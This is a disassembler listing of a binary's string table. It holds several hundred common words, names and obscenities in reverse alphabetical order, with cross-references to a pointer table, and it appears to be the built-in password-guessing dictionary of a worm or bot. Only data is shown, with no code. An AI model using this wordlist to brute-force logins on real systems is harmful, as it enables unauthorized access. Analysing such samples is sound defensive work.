		align 4
aWorm		db 'worm',0             ; DATA XREF: ___:0042ABD0o
		align 10h
aWork		db 'work',0             ; DATA XREF: ___:0042ABCCo
		align 4
aWorf		db 'worf',0             ; DATA XREF: ___:0042ABC8o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: ___:0042ABC4o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:0042ABC0o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:0042ABBCo
		align 10h
aWood		db 'wood',0             ; DATA XREF: ___:0042ABB8o
		align 4
aWomen		db 'women',0            ; DATA XREF: ___:0042ABB4o
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: ___:0042ABB0o
		align 4
aWoman		db 'woman',0            ; DATA XREF: ___:0042ABACo
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: ___:0042ABA8o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:0042ABA4o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: ___:0042ABA0o
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:0042AB9Co
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: ___:0042AB98o
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:0042AB94o
		align 4
aWired		db 'wired',0            ; DATA XREF: ___:0042AB90o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: ___:0042AB8Co
aWing		db 'wing',0             ; DATA XREF: ___:0042AB88o
		align 10h
aWine		db 'wine',0             ; DATA XREF: ___:0042AB84o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042AB80o
aWilma		db 'wilma',0            ; DATA XREF: ___:0042AB7Co
		align 4
aWillie		db 'willie',0           ; DATA XREF: ___:0042AB78o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: ___:0042AB74o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:0042AB70o
aWill		db 'will',0             ; DATA XREF: ___:0042AB6Co
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:0042AB68o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: ___:0042AB64o
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: ___:0042AB60o
aWhiting	db 'whiting',0          ; DATA XREF: ___:0042AB5Co
aWhite		db 'white',0            ; DATA XREF: ___:0042AB58o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: ___:0042AB54o
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:0042AB50o
aWhatever	db 'whatever',0
		align 4
aWestern	db 'western',0
aWest		db 'west',0
		align 4
aWerewolf	db 'werewolf',0
		align 10h
aWendy		db 'wendy',0
		align 4
aWendi		db 'wendi',0
		align 10h
aWell		db 'well',0
		align 4
aWeenie		db 'weenie',0
		align 10h
aWeed		db 'weed',0
		align 4
aWednesda	db 'wednesda',0
		align 4
aWebpage	db 'webpage',0
aWave		db 'wave',0
		align 4
aWater		db 'water',0
		align 4
aWatchwor	db 'watchwor',0
		align 4
aWasp		db 'wasp',0
		align 10h
aWarren		db 'warren',0
		align 4
aWarp		db 'warp',0
		align 10h
aWargames	db 'wargames',0
		align 4
aWarfare	db 'warfare',0
aWarez		db 'warez',0
		align 4
aWard		db 'ward',0
		align 4
aWaco		db 'waco',0
		align 4
aVodka		db 'vodka',0
		align 4
aVisualba	db 'visualba',0
		align 10h
aVisual		db 'visual',0
		align 4
aVisitor	db 'visitor',0
aVirus		db 'virus',0
		align 4
aVirginia	db 'virginia',0
		align 4
aVirgin		db 'virgin',0
		align 4
aVillage	db 'village',0
aVideogam	db 'videogam',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
aVictor		db 'victor',0
		align 10h
aVicky		db 'vicky',0
		align 4
aVertigo	db 'vertigo',0
aVeronica	db 'veronica',0
		align 4
aVenus		db 'venus',0
		align 4
aVasant		db 'vasant',0
		align 4
aVampire	db 'vampire',0
aValerie	db 'valerie',0
aVagina		db 'vagina',0
		align 4
aUucp		db 'uucp',0
		align 4
aUtility	db 'utility',0
aUtil		db 'util',0
		align 4
aUsmc		db 'usmc',0
		align 4
aUsername	db 'username',0
		align 10h
aUsermane	db 'usermane',0
		align 4
aUsenet		db 'usenet',0
		align 4
aUrsula		db 'ursula',0
		align 4
aUrchin		db 'urchin',0
		align 4
aUranus		db 'uranus',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
aUnlock		db 'unlock',0
		align 4
aUnknown_0	db 'unknown',0
aUniversi	db 'universi',0
		align 10h
aUniverse	db 'universe',0
		align 4
aUniversa	db 'universa',0
		align 4
aUniform	db 'uniform',0
aUnicorn	db 'unicorn',0
aUnhappy	db 'unhappy',0
aUndo		db 'undo',0
		align 4
aUncle		db 'uncle',0
		align 10h
aUmesh		db 'umesh',0
		align 4
aUgly		db 'ugly',0
		align 10h
aTuttle		db 'tuttle',0
		align 4
aTurn		db 'turn',0
		align 10h
aTuesday	db 'tuesday',0
aTubas		db 'tubas',0
		align 10h
aTruth		db 'truth',0
		align 4
aTrue		db 'true',0
		align 10h
aTron		db 'tron',0
		align 4
aTrombone	db 'trombone',0
		align 4
aTrojan		db 'trojan',0
		align 4
aTrivial	db 'trivial',0
aTrisha		db 'trisha',0
		align 4
aTrek		db 'trek',0
		align 4
aTree		db 'tree',0             ; DATA XREF: ___:0043D7ECo
		align 4
aTrapdoor	db 'trapdoor',0
		align 4
aTrap		db 'trap',0
		align 10h
aTransfer	db 'transfer',0
		align 4
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 4
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 4
aToyota		db 'toyota',0
		align 4
aToxic		db 'toxic',0
		align 4
aTortoise	db 'tortoise',0
		align 4
aTopograp	db 'topograp',0
		align 4
aTomato		db 'tomato',0
		align 4
aTokenrin	db 'tokenrin',0
		align 4
aToken		db 'token',0
		align 10h
aToggle		db 'toggle',0
		align 4
aToad		db 'toad',0
		align 10h
aTits		db 'tits',0
		align 4
aTina		db 'tina',0
		align 10h
aTime		db 'time',0
		align 4
aTiger		db 'tiger',0
		align 10h
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 4
aThin		db 'thin',0
		align 4
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 10h
aText		db 'text',0
		align 4
aTetris		db 'tetris',0
		align 10h
aTess		db 'tess',0
		align 4
aTerminat	db 'terminat',0
		align 4
aTerminal	db 'terminal',0
		align 10h
aTera		db 'tera',0
		align 4
aTennis		db 'tennis',0
		align 10h
aTemptati	db 'temptati',0
		align 4
aTelnet		db 'telnet',0
		align 4
aTelephon	db 'telephon',0
		align 10h
aTeenage	db 'teenage',0
aTeen		db 'teen',0
		align 10h
aTech		db 'tech',0
		align 4
aTears		db 'tears',0
		align 10h
aTeapot		db 'teapot',0
		align 4
aTeam		db 'team',0
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: ___:0042A970o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: ___:0042A96Co
		align 4
aTarget		db 'target',0           ; DATA XREF: ___:0042A968o
		align 4
aTara		db 'tara',0             ; DATA XREF: ___:0042A964o
		align 4
aTape		db 'tape',0             ; DATA XREF: ___:0042A960o
		align 4
aTango		db 'tango',0            ; DATA XREF: ___:0042A95Co
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: ___:0042A958o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: ___:0042A954o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: ___:0042A950o
		align 10h
aTami		db 'tami',0             ; DATA XREF: ___:0042A94Co
		align 4
aTamara		db 'tamara',0           ; DATA XREF: ___:0042A948o
		align 10h
aTall		db 'tall',0             ; DATA XREF: ___:0042A944o
		align 4
aTalk		db 'talk',0             ; DATA XREF: ___:0042A940o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: ___:0042A93Co
aSysop		db 'sysop',0            ; DATA XREF: ___:0042A938o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: ___:0042A934o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: ___:0042A930o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: ___:0042A92Co
		align 10h
aSword		db 'sword',0            ; DATA XREF: ___:0042A928o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: ___:0042A924o
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: ___:0042A920o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: ___:0042A91Co
aSuzie		db 'suzie',0            ; DATA XREF: ___:0042A918o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: ___:0042A914o
aSusie		db 'susie',0            ; DATA XREF: ___:0042A910o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: ___:0042A90Co
aSusan		db 'susan',0            ; DATA XREF: ___:0042A908o
		align 4
aSurfing	db 'surfing',0
aSurfer		db 'surfer',0
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: ___:0042A8FCo
		align 4
aSupport	db 'support',0          ; DATA XREF: ___:0042A8F8o
aSupervis	db 'supervis',0         ; DATA XREF: ___:0042A8F4o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: ___:0042A8F0o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: ___:0042A8ECo
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: ___:0042A8E8o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: ___:0042A8E4o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: ___:0042A8E0o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: ___:0042A8DCo
		align 4
aSucks		db 'sucks',0            ; DATA XREF: ___:0042A8D8o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: ___:0042A8D4o
		align 4
aSuck		db 'suck',0             ; DATA XREF: ___:0042A8D0o
		align 4
aSuccess	db 'success',0          ; DATA XREF: ___:0042A8CCo
aSubway		db 'subway',0           ; DATA XREF: ___:0042A8C8o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: ___:0042A8C4o
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: ___:0042A8C0o
		align 4
aStrip		db 'strip',0
		align 4
aString		db 'string',0           ; DATA XREF: ___:0042A8B4o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: ___:0042A8B0o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: ___:0042A8ACo
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: ___:0042A8A8o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: ___:0042A8A4o
aStones		db 'stones',0           ; DATA XREF: ___:0042A8A0o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: ___:0042A89Co
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: ___:0042A898o
		align 4
aSteve		db 'steve',0            ; DATA XREF: ___:0042A894o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: ___:0042A890o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: ___:0042A88Co
		align 10h
aSteph		db 'steph',0            ; DATA XREF: ___:0042A888o
		align 4
aSteel		db 'steel',0            ; DATA XREF: ___:0042A884o
		align 10h
aSteal		db 'steal',0            ; DATA XREF: ___:0042A880o
		align 4
aSteak		db 'steak',0            ; DATA XREF: ___:0042A87Co
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: ___:0042A878o
		align 4
aStartup	db 'startup',0          ; DATA XREF: ___:0042A874o
aStartrek	db 'startrek',0         ; DATA XREF: ___:0042A870o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
					; ___:0042A86Co
		align 4
aStarship	db 'starship',0         ; DATA XREF: ___:0042A868o
		align 4
aStar		db 'star',0             ; DATA XREF: ___:0042A864o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: ___:0042A860o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: ___:0042A85Co
		align 4
aStaci		db 'staci',0            ; DATA XREF: ___:0042A858o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: ___:0042A854o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: ___:0042A850o
		align 4
aSquires	db 'squires',0          ; DATA XREF: ___:0042A84Co
aSpunk		db 'spunk',0            ; DATA XREF: ___:0042A848o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: ___:0042A844o
		align 10h
aSpring		db 'spring',0           ; DATA XREF: ___:0042A840o
		align 4
aSpred		db 'spred',0            ; DATA XREF: ___:0042A83Co
		align 10h
aSpit		db 'spit',0             ; DATA XREF: ___:0042A838o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: ___:0042A834o
		align 4
aSpider		db 'spider',0           ; DATA XREF: ___:0042A830o
		align 4
aSpice		db 'spice',0            ; DATA XREF: ___:0042A82Co
		align 4
aSpell		db 'spell',0            ; DATA XREF: ___:0042A828o
		align 4
aSpear		db 'spear',0            ; DATA XREF: ___:0042A824o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: ___:0042A820o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: ___:0042A81Co
		align 4
aSouth		db 'south',0            ; DATA XREF: ___:0042A818o
		align 4
aSource		db 'source',0           ; DATA XREF: ___:0042A814o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: ___:0042A810o
aSonya		db 'sonya',0            ; DATA XREF: ___:0042A80Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: ___:0042A808o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: ___:0042A804o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: ___:0042A800o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: ___:0042A7FCo
		align 10h
aSoftware	db 'software',0         ; DATA XREF: ___:0042A7F8o
		align 4
aSoft		db 'soft',0             ; DATA XREF: ___:0042A7F4o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: ___:0042A7F0o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: ___:0042A7ECo
		align 4
aSocial		db 'social',0           ; DATA XREF: ___:0042A7E8o
		align 10h
aSoap		db 'soap',0             ; DATA XREF: ___:0042A7E4o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: ___:0042A7E0o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: ___:0042A7DCo
		align 4
aSnake		db 'snake',0            ; DATA XREF: ___:0042A7D8o
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: ___:0042A7D4o
		align 4
aSnach		db 'snach',0            ; DATA XREF: ___:0042A7D0o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: ___:0042A7CCo
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: ___:0042A7C8o
		align 10h
aSmother	db 'smother',0          ; DATA XREF: ___:0042A7C4o
aSmooch		db 'smooch',0           ; DATA XREF: ___:0042A7C0o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: ___:0042A7BCo
		align 4
aSmile		db 'smile',0            ; DATA XREF: ___:0042A7B8o
		align 10h
aSmart		db 'smart',0            ; DATA XREF: ___:0042A7B4o
		align 4
aSmall		db 'small',0            ; DATA XREF: ___:0042A7B0o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: ___:0042A7ACo
		align 4
aSlow		db 'slow',0             ; DATA XREF: ___:0042A7A8o
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: ___:0042A7A4o
aSlick		db 'slick',0            ; DATA XREF: ___:0042A7A0o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: ___:0042A79Co
		align 4
aSkull		db 'skull',0            ; DATA XREF: ___:0042A798o
		align 10h
aSite		db 'site',0             ; DATA XREF: ___:0042A794o
		align 4
aSingle		db 'single',0           ; DATA XREF: ___:0042A790o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: ___:0042A78Co
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: ___:0042A788o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: ___:0042A784o
		align 10h
aSimple		db 'simple',0           ; DATA XREF: ___:0042A780o
		align 4
aSimon		db 'simon',0            ; DATA XREF: ___:0042A77Co
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: ___:0042A778o
aSilver		db 'silver',0           ; DATA XREF: ___:0042A774o
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: ___:0042A770o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: ___:0042A76Co
		align 4
aSick		db 'sick',0             ; DATA XREF: ___:0042A768o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: ___:0042A764o
aShort		db 'short',0            ; DATA XREF: ___:0042A760o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: ___:0042A75Co
aShiva		db 'shiva',0            ; DATA XREF: ___:0042A758o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: ___:0042A754o
aShit		db 'shit',0             ; DATA XREF: ___:0042A750o
					; ___:0043D93Co
		align 4
aShirley	db 'shirley',0          ; DATA XREF: ___:0042A74Co
aShift		db 'shift',0            ; DATA XREF: ___:0042A748o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: ___:0042A744o
		align 4
aShell		db 'shell',0            ; DATA XREF: ___:0042A740o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: ___:0042A73Co
aSheffiel	db 'sheffiel',0         ; DATA XREF: ___:0042A738o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: ___:0042A734o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: ___:0042A730o
		align 10h
aShark		db 'shark',0            ; DATA XREF: ___:0042A72Co
		align 4
aSharc		db 'sharc',0            ; DATA XREF: ___:0042A728o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: ___:0042A724o
aSexy		db 'sexy',0             ; DATA XREF: ___:0042A720o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: ___:0042A71Co
		align 4
aService	db 'service',0          ; DATA XREF: ___:0042A718o
aSerial		db 'serial',0           ; DATA XREF: ___:0042A714o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: ___:0042A710o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: ___:0042A70Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: ___:0042A708o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: ___:0042A704o
		align 10h
aSega		db 'sega',0             ; DATA XREF: ___:0042A700o
		align 4
aSeed		db 'seed',0             ; DATA XREF: ___:0042A6FCo
		align 10h
aSecurity	db 'security',0         ; DATA XREF: ___:0042A6F8o
		align 4
aSearch		db 'search',0           ; DATA XREF: ___:0042A6F4o
		align 4
aScout		db 'scout',0            ; DATA XREF: ___:0042A6F0o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: ___:0042A6ECo
		align 4
aScott		db 'scott',0            ; DATA XREF: ___:0042A6E8o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: ___:0042A6E4o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: ___:0042A6E0o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: ___:0042A6DCo
aSchool		db 'school',0           ; DATA XREF: ___:0042A6D8o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: ___:0042A6D4o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: ___:0042A6D0o
aSaxon		db 'saxon',0            ; DATA XREF: ___:0042A6CCo
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: ___:0042A6C8o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: ___:0042A6C4o
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: ___:0042A6C0o
		align 4
aSara		db 'sara',0             ; DATA XREF: ___:0042A6BCo
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: ___:0042A6B8o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: ___:0042A6B4o
		align 10h
aSample		db 'sample',0           ; DATA XREF: ___:0042A6B0o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: ___:0042A6ACo
		align 4
aSalt		db 'salt',0             ; DATA XREF: ___:0042A6A8o
		align 4
aSale		db 'sale',0             ; DATA XREF: ___:0042A6A4o
		align 4
aSalami		db 'salami',0           ; DATA XREF: ___:0042A6A0o
		align 4
aSafe		db 'safe',0             ; DATA XREF: ___:0042A69Co
		align 4
aRuth		db 'ruth',0             ; DATA XREF: ___:0042A698o
		align 4
aRush		db 'rush',0             ; DATA XREF: ___:0042A694o
		align 4
aRunning	db 'running',0          ; DATA XREF: ___:0042A690o
aRules		db 'rules',0            ; DATA XREF: ___:0042A68Co
		align 4
aRude		db 'rude',0             ; DATA XREF: ___:0042A688o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: ___:0042A684o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: ___:0042A680o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: ___:0042A67Co
		align 4
aRough		db 'rough',0            ; DATA XREF: ___:0042A678o
		align 4
aRoses		db 'roses',0            ; DATA XREF: ___:0042A674o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: ___:0042A670o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: ___:0042A66Co
aRose		db 'rose',0             ; DATA XREF: ___:0042A668o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: ___:0042A664o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: ___:0042A660o
aRomeo		db 'romeo',0            ; DATA XREF: ___:0042A65Co
		align 4
aRomano		db 'romano',0           ; DATA XREF: ___:0042A658o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: ___:0042A654o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: ___:0042A650o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: ___:0042A64Co
		align 4
aRocky		db 'rocky',0            ; DATA XREF: ___:0042A648o
		align 4
aRock		db 'rock',0             ; DATA XREF: ___:0042A644o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: ___:0042A640o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: ___:0042A63Co
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: ___:0042A638o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: ___:0042A634o
		align 4
aRobot		db 'robot',0            ; DATA XREF: ___:0042A630o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: ___:0042A62Co
		align 4
aRobert		db 'robert',0           ; DATA XREF: ___:0042A628o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: ___:0042A624o
		align 4
aRisc		db 'risc',0             ; DATA XREF: ___:0042A620o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: ___:0042A61Co
		align 4
aRiot		db 'riot',0             ; DATA XREF: ___:0042A618o
		align 10h
aRing		db 'ring',0             ; DATA XREF: ___:0042A614o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: ___:0042A610o
		align 4
aRight		db 'right',0            ; DATA XREF: ___:0042A60Co
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: ___:0042A608o
		align 4
aRick		db 'rick',0             ; DATA XREF: ___:0042A604o
		align 10h
aRich		db 'rich',0             ; DATA XREF: ___:0042A600o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: ___:0042A5FCo
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: ___:0042A5F8o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: ___:0042A5F4o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: ___:0042A5F0o
		align 10h
aReport		db 'report',0           ; DATA XREF: ___:0042A5ECo
		align 4
aRent		db 'rent',0             ; DATA XREF: ___:0042A5E8o
		align 10h
aReno		db 'reno',0             ; DATA XREF: ___:0042A5E4o
		align 4
aRenee		db 'renee',0            ; DATA XREF: ___:0042A5E0o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: ___:0042A5DCo
		align 4
aRelease	db 'release',0          ; DATA XREF: ___:0042A5D8o
aRegional	db 'regional',0         ; DATA XREF: ___:0042A5D4o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: ___:0042A5D0o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: ___:0042A5CCo
aReddawn	db 'reddawn',0          ; DATA XREF: ___:0042A5C8o
aRecord		db 'record',0           ; DATA XREF: ___:0042A5C4o
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: ___:0042A5C0o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: ___:0042A5BCo
aRebal		db 'rebal',0            ; DATA XREF: ___:0042A5B8o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: ___:0042A5B4o
		align 10h
aReam		db 'ream',0             ; DATA XREF: ___:0042A5B0o
		align 4
aReally		db 'really',0           ; DATA XREF: ___:0042A5ACo
		align 10h
aReality	db 'reality',0          ; DATA XREF: ___:0042A5A8o
aReagan		db 'reagan',0           ; DATA XREF: ___:0042A5A4o
		align 10h
aRazor		db 'razor',0            ; DATA XREF: ___:0042A5A0o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: ___:0042A59Co
		align 10h
aRape		db 'rape',0             ; DATA XREF: ___:0042A598o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
					; ___:0042A594o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: ___:0042A590o
aRaindrop	db 'raindrop',0         ; DATA XREF: ___:0042A58Co
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: ___:0042A588o
aRain		db 'rain',0             ; DATA XREF: ___:0042A584o
		align 4
aRaid		db 'raid',0             ; DATA XREF: ___:0042A580o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: ___:0042A57Co
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: ___:0042A578o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: ___:0042A574o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: ___:0042A570o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:0042A56Co
		align 4
aQwert		db 'qwert',0            ; DATA XREF: ___:0042A568o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: ___:0042A564o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: ___:0042A560o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: ___:0042A55Co
		align 4
aPunk		db 'punk',0             ; DATA XREF: ___:0042A558o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: ___:0042A554o
		align 10h
aPuneet		db 'puneet',0
		align 4
aPumpkin	db 'pumpkin',0
aPuke		db 'puke',0
		align 4
aPuck		db 'puck',0
		align 10h
aPublic		db 'public',0
		align 4
aPsychopa	db 'psychopa',0
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: ___:0042A538o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: ___:0042A534o
		align 4
aProtect	db 'protect',0
aPrompt		db 'prompt',0
		align 4
aProgram	db 'program',0
aProfile	db 'profile',0          ; DATA XREF: ___:0042A524o
aProfesso	db 'professo',0
		align 4
aProcesso	db 'processo',0
		align 10h
aProceed	db 'proceed',0
aPrivs		db 'privs',0
		align 10h
aPrivate	db 'private',0
aPriv		db 'priv',0
		align 10h
aPrinter	db 'printer',0
aPrinceto	db 'princeto',0
		align 4
aPrince		db 'prince',0           ; DATA XREF: ___:0042A500o
		align 4
aPresto		db 'presto',0           ; DATA XREF: ___:0042A4FCo
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: ___:0042A4F8o
aPrecious	db 'precious',0
		align 4
aPraise		db 'praise',0
		align 10h
aPower		db 'power',0
		align 4
aPoster		db 'poster',0
		align 10h
aPost		db 'post',0
		align 4
aPorsche	db 'porsche',0
aPorno		db 'porno',0
		align 4
aPorn		db 'porn',0
		align 10h
aPork		db 'pork',0
		align 4
aPoor		db 'poor',0
		align 10h
aPoop		db 'poop',0
		align 4
aPonderin	db 'ponderin',0
		align 4
aPolynomi	db 'polynomi',0
		align 10h
aPolly		db 'polly',0
		align 4
aPolice		db 'police',0
		align 10h
aPoetry		db 'poetry',0
		align 4
aPlymouth	db 'plymouth',0
		align 4
aPluto		db 'pluto',0
		align 4
aPlover		db 'plover',0
		align 4
aPlayboy	db 'playboy',0
aPlane		db 'plane',0
		align 4
aPizza		db 'pizza',0
		align 4
aPiss		db 'piss',0
		align 4
aPinname	db 'pinname',0
aPimp		db 'pimp',0
		align 4
aPierre		db 'pierre',0
		align 4
aPick		db 'pick',0
		align 4
aPhuck		db 'phuck',0
		align 4
aPhreak		db 'phreak',0
		align 4
aPhrase		db 'phrase',0
		align 4
aPhrack		db 'phrack',0
		align 4
aPhoton		db 'photon',0
		align 4
aPhone		db 'phone',0
		align 4
aPhoenix	db 'phoenix',0
aPhilip		db 'philip',0
		align 4
aPhil		db 'phil',0
		align 4
aPeter		db 'peter',0
		align 4
aPete		db 'pete',0
		align 4
aPervert	db 'pervert',0
aPersona	db 'persona',0
aPersimmo	db 'persimmo',0
		align 4
aPermit		db 'permit',0
		align 10h
aPerfect	db 'perfect',0
aPercolat	db 'percolat',0
		align 4
aPepper		db 'pepper',0
		align 4
aPeoria		db 'peoria',0
		align 4
aPentium	db 'pentium',0
aPenthous	db 'penthous',0
		align 4
aPentagra	db 'pentagra',0
		align 4
aPentagon	db 'pentagon',0
		align 10h
aPenname	db 'penname',0
aPenis		db 'penis',0
		align 10h
aPenguin	db 'penguin',0
aPenelope	db 'penelope',0
		align 4
aPencil		db 'pencil',0
		align 4
aPecker		db 'pecker',0
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:0042A414o
aPaula		db 'paula',0            ; DATA XREF: ___:0042A410o
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:0042A40Co
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: ___:0042A408o
